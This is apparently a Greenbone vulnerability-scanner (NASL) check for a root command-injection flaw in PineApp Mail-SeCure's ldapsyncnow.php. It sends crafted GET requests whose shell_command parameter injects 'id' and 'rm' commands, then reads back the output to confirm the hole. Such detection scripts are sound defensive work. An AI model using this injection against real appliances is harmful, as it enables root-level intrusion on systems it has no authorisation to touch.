PineApp Mail-SeCure 'ldapsyncnow.php' Remote Command Injection Vulnerability

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103758");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");

  script_name("PineApp Mail-SeCure 'ldapsyncnow.php' Remote Command Injection Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/61474");

  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2013-08-13 11:34:56 +0200 (Tue, 13 Aug 2013)");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_dependencies("find_service.nasl", "httpver.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 7443);
  script_exclude_keys("Settings/disable_cgi_scanning", "PineApp/missing");

  script_tag(name:"impact", value:"Successful exploits will result in the execution of arbitrary commands
  with root privileges in the context of the affected appliance.");

  script_tag(name:"vuldetect", value:"Send a crafted HTTP GET request and check the response.");

  script_tag(name:"insight", value:"The specific flaw exists with input sanitization in the
  ldapsyncnow.php component. This flaw allows for the injection of arbitrary
  commands to the Mail-SeCure server. An attacker could leverage this
  vulnerability to execute arbitrary code as root.");

  script_tag(name:"solution", value:"Ask the Vendor for an update.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"summary", value:"PineApp Mail-SeCure is prone to a remote command-injection
  vulnerability.");

  script_tag(name:"qod_type", value:"remote_app");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("misc_func.inc");

port = http_get_port(default:7443);
if(!http_can_host_php(port:port))
  exit(0);

resp = http_get_cache(item:"/", port:port);

if(! resp || "PineApp" >!< resp) {
  set_kb_item(name:"PineApp/missing", value:TRUE);
  exit(0);
}

vtstrings = get_vt_strings();
file = vtstrings["lowercase_rand"] + '.txt';

vuln_url = "/admin/ldapsyncnow.php?sync_now=1&shell_command=";
req = http_get(item:vuln_url + "id>./" + file + ";", port:port);
resp = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);

req = http_get(item:"/admin/" + file, port:port);
resp = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);

req = http_get(item:vuln_url + "rm%20./" + file + ";", port:port);
http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);

if(resp =~ "uid=[0-9]+.*gid=[0-9]+.*") {
  report = http_report_vuln_url(port:port, url:vuln_url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);